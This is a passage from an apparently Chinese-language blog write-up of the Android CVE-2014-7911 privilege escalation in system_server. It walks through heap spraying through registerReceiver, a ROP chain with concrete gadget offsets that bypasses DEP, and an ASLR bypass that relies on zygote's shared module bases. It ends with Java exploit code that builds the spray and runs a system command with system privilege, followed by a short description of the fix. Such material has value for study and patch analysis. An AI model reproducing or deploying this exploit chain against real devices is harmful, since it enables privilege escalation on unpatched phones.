将大量的这样布局的堆块喷射到systemserver中,一旦mOrgue值命中滑板指令,就会跳入shellcodeaddr地址去执行代码。
代码注入
堆块布局完成后,如何向sysetemserver的dalvik-heap空间注入这些字符串?
systemserver向android系统提供绝大多数的系统服务,通过这些服务的一些特定方法可以向systemserver传入String,同时systemserver把这些String存储在Dalvik-heap中,在GC之前都不会销毁。例如android广播服务,android应用程序可以把广播接收器注册到ActivityManagerService中去,这个过程就完成了数据由应用层到service层的传输。
android.content.Context中的registerReceiver方法
public Intent registerReceiver (BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)
其中第三个参数broadcastPermission
为String类型,可以通过这个参数将数据注入到system_service中。
当我们调用registerReceiver方法时,调用流程依次为:
ContextWrapper.registerReceiver ->
ContextImpl.registerReceiver ->
ContextImpl.registerReceiverInternal ->
ActivityManagerProxy.registerReceiver ->
ActivityManagerService.registerReceiver
该调用链表明可从某个app的Context通过binder IPC跨进程调用systemserver的ActivityManagerService.registerReceiver
方法,其中ActivityManagerService常驻systemserver进程空间。我们再看看ActivityManagerService的registerReceiver方法
public Intent registerReceiver(IApplicationThread caller, String callerPackage, IIntentReceiver receiver, IntentFilter filter, String permission, int userId) {
enforceNotIsolatedCaller("registerReceiver");
int callingUid;
int callingPid;
synchronized(this) {
...
ReceiverList rl = (ReceiverList)mRegisteredReceivers.get(receiver.asBinder());
...
BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage, permission, callingUid, userId); // 在Dalvik-heap中分配内存
rl.add(bf);
...
return sticky;
}
}
在ActivityManagerService的registerReceiver中,通过new将在systemserver进程的Dalvik-heap堆中分配内存,传入的permission字符串将常驻systemserver进程空间。这样,通过调用某些系统Api,代码注入的问题就解决了。
其中registerReceiver具体实现细节可参考Android应用程序注册广播接收器(registerReceiver)的过程分析。
DEP Bypass
由于Android使用了DEP,因此Dalvik-heap上的内存不能用来执行,这就必须使用ROP技术,使PC跳转到一系列合法指令序列(Gadget),并由这些Gadget拼凑而成shellcode,shellcode中执行system函数,然后通过system函数调用外部程序。
一个寻找ROP链的工具
需要注意的是,在寻找ROP跳转指令时候,一定要从基础模块(会被zygote加载的模块)中寻找,保证内存布局是一致的,如libc,libandroid_runtime等。
为了调用system函数,需要控制r0寄存器,指向我们预先布置的命令行字符串作为参数。这里需要使用Stack Pivot技术,将栈顶指针SP指向控制的Dalvik-heap堆中的数据,这将为控制PC寄存器、以及在栈上布置数据带来便利,执行命令
python ./ROPgadget.py --thumb --binary /Users/idhyt/Downloads/libwebviewchromium.so > gadgets.txt
然后就可以寻找合适的代码片段,寻找的时候要有目的性,首先第一条指令一定尽量是我们能控制的指令,通过前边dump的崩溃信息可以看到,r0,r5,r7,r8这4个寄存器的值都是mOrgue,即这4个寄存器可控,所以第一条指令可以重点查看是这4个寄存器操作的指令,下边就是一系列繁杂的体力活,直接用exploit中的ROP进行说明。
gadget1: libwebviewchromium.so(0x0070a93c)
ldr r7, [r5] // r5 = mOrgue, r7 = [mOrgue] = shellcode_addr
mov r0, r5 // r0 = mOrgue
ldr r1, [r7, #8] // r1 = [r7 + 8] = [shellcode_addr + 8]
blx r1 // 跳转到[shellcode_addr + 8]执行
gadget2: libdvm.so(0x000664c4)
add.w r7, r7, #8 // r7 = r7 + 8 = shellcode_addr + 8
mov sp, r7 // sp = r7 = shellcode_addr + 8
pop {r4, r5, r7, pc} // r4=[shellcode_addr + 8], r5=[shellcode_addr + 12], r7=[shellcode_addr + 16], pc=[shellcode_addr + 20], 跳转到pc执行
gadget3: libwebviewchromium.so(0x0030c4b8)
mov r0, sp // 上边sp=shellcode_addr + 8,然后pop出4个寄存器,所以sp=shellcode_addr + 8 + 4*4 = shellcode_addr + 24
blx r5 // r5 = [shellcode_addr + 12] 即跳转到该处执行代码
最后一步要能执行system命令,需要r0 = system参数,r5system地址,所以得出
[shellcode_addr + 24] = system参数
[shellcode_addr + 12] = system地址
结合堆块布局里边的约束条件
shellcode_addr - 4 == 1
[shellcode_addr + 4] == mOrgue + 12
最终的堆块数据布局如下所示:
最后,构造ROP Chain还需要考虑一个细节,ARM有两种模式Thumb和ARM模式,我们使用的Gadgets均为Thumb模式,因此其地址的最低位均需要加1
ASLR Bypass
Android自4.1始开始启用ASLR(地址随机化),任何程序自身的的地址空间在每一次运行时都将发生变化。但在Android中,攻击程序、systemserver皆由zygote进程fork而来,因此攻击程序与systemserver共享同样的基础模块和dalvik-heap。只要在使用dalvik heapspray和构建ROP Gadget时,只使用libc、libdvm这些基础模块,就无需考虑地址随机化的问题。
Android和Linux一样提供了基于/proc的"伪文件"系统来作为查看用户进程内存映像的接口(cat /proc/pid/maps)。可以说,这是Android系统内核层开放给用户层关于进程内存信息的一扇窗户。通过它,我们可以查看到当前进程空间的内存映射情况,模块加载情况以及虚拟地址和内存读写执行(rwxp)属性等。如下图,查看两个不同进程的堆内存分布,发现基础模块堆基址都是相同的。
其中,各个字段说明如下(来自stackoverflow):
Each row in /proc/$PID/maps describes a region of contiguous virtual memory in a process or thread. Each row has the following fields:
address perms offset dev inode pathname
08048000-08056000 r-xp 00000000 03:0c 64593 /usr/sbin/gpm
address
- This is the starting and ending address of the region in the process’s address space
permissions
- This describes how pages in the region can be accessed. There are four different permissions: read, write, execute, and shared. If read/write/execute are disabled, a ‘-’ will appear instead of the ‘r’/‘w’/‘x’. If a region is not shared, it is private, so a ‘p’ will appear instead of an ’s'. If the process attempts to access memory in a way that is not permitted, a segmentation fault is generated. Permissions can be changed using the mprotect system call.
offset
- If the region was mapped from a file (using mmap), this is the offset in the file where the mapping begins. If the memory was not mapped from a file, it’s just 0.
device
- If the region was mapped from a file, this is the major and minor device number (in hex) where the file lives.
inode
- If the region was mapped from a file, this is the file number.
pathname
- If the region was mapped from a file, this is the name of the file. This field is blank for anonymous mapped regions. There are also special regions with names like [heap], [stack], or [vdso]. [vdso] stands for virtual dynamic shared object. It’s used by system calls to switch to kernel mode. Here’s a good article about it.
You might notice a lot of anonymous regions. These are usually created by mmap but are not attached to any file. They are used for a lot of miscellaneous things like shared memory or buffers not allocated on the heap. For instance, I think the pthread library uses anonymous mapped regions as stacks for new threads.
漏洞利用代码
利用过程最关键堆块布局流程代码如下:
protected void exploitBegin() {
int dalvikHeapAddr = getBase("/dev/ashmem/dalvik-heap");
int libcAddr = getBase("/system/lib/libc.so");
int libDvmAddr = getBase("/system/lib/libdvm.so");
int libWebViewChromiumAddr = getBase("/system/lib/libwebviewchromium.so");
int staticAddr = dalvikHeapAddr + 0x01001000;
Log.d(TAG, "staticAddr = 0x" + Integer.toHexString(staticAddr));
int gadgetChunkOffset = sprayChunkLength - gadgetChunkLength;
// java中char占两个字节
char[] bytes = new char[sprayChunkLength / 2];
int value;
for (int i = 0; i < gadgetChunkOffset / 2; i += 2) {
value = staticAddr + gadgetChunkOffset - (2 * i);
// 低位
bytes[i] = (char) value;
// 高位
bytes[i + 1] = (char) ((value >> 16) & 0xffff);
}
// 约束条件 shellcode_addr - 4 == 1
value = 1;
bytes[gadgetChunkOffset / 2 - 2] = (char) value;
bytes[gadgetChunkOffset / 2 - 1] = (char) ((value >> 16) & 0xffff);
// 约束条件 [shellcode_addr + 4] == mOrgue + 12
value = staticAddr + 0xC;
bytes[gadgetChunkOffset / 2 + 2] = (char) value;
bytes[gadgetChunkOffset / 2 + 3] = (char) ((value >> 16) & 0xffff);
// shellcode数据布局 [shellcode_addr] = gadget1_addr
value = libWebViewChromiumAddr + rop_chain[0]; // libwebviewchromium.so(0x0070a93c): ldr r7, [r5] ; mov r0, r5 ; ldr r1, [r7, #8] ; blx r1
bytes[gadgetChunkOffset / 2] = (char) value;
bytes[gadgetChunkOffset / 2 + 1] = (char) ((value >> 16) & 0xffff);
// shellcode数据布局 [shellcode_addr + 8] = gadget2_addr
value = libDvmAddr + rop_chain[1]; // libdvm.so(0x000664c4): add.w r7, r7, #8 ; mov sp, r7 ; pop {r4, r5, r7, pc}
bytes[gadgetChunkOffset / 2 + 4] = (char) value;
bytes[gadgetChunkOffset / 2 + 5] = (char) ((value >> 16) & 0xffff);
// shellcode数据布局 [shellcode_addr + 12] = system_addr
value = libcAddr + rop_chain[2]; // system
bytes[gadgetChunkOffset / 2 + 6] = (char) value;
bytes[gadgetChunkOffset / 2 + 7] = (char) ((value >> 16) & 0xffff);
// shellcode数据布局 [shellcode_addr + 20] = gadget3_addr
value = libWebViewChromiumAddr + rop_chain[3]; // libwebviewchromium.so(0x0030c4b8): mov r0, sp ; blx r5
bytes[gadgetChunkOffset / 2 + 10] = (char) value;
bytes[gadgetChunkOffset / 2 + 11] = (char) ((value >> 16) & 0xffff);
// system_param cmd = "id >/data/exploit.txt"
int[] values = stringToInt(cmd);
for (int i = 0; i < values.length; i++) {
bytes[gadgetChunkOffset / 2 + 12 + i * 2] = (char) values[i];
bytes[gadgetChunkOffset / 2 + 13 + i * 2] = (char) ((values[i] >> 16) & 0xffff);
}
// 堆喷
String str = String.valueOf(bytes);
for (int i = 0; i < 2000; i++) {
heapSpary(str);
if (i % 100 == 0) {
Log.d(TAG, "heap sparying... " + i);
}
}
// 触发
exploit(staticAddr);
}
利用代码详见:CVE-2014-7911_poc
将利用代码中的system参数即String cmd改为id >/data/exploit.txt
,这条命令将获取用户UID和GID,并以system权限将其写入/data/exploit.txt
文件中。执行过如下图所示:
修复
修复代码涉及与反序列化相关的 ObjectInputStream.java、ObjectStreamClass.java、ObjectStreamConstants.java、SerializationTest.java等文件。主要加了三种检查:
- 检查反序列化的类是否仍然满足序列化的需求;
- 检查反序列化的类的类型是否与stream中所持有的类型信息 (enum, serializable, externalizable)一致
- 在某些情形下,延迟类的静态初始化,直到对序列化流的内容检查完成。
没有评论:
发表评论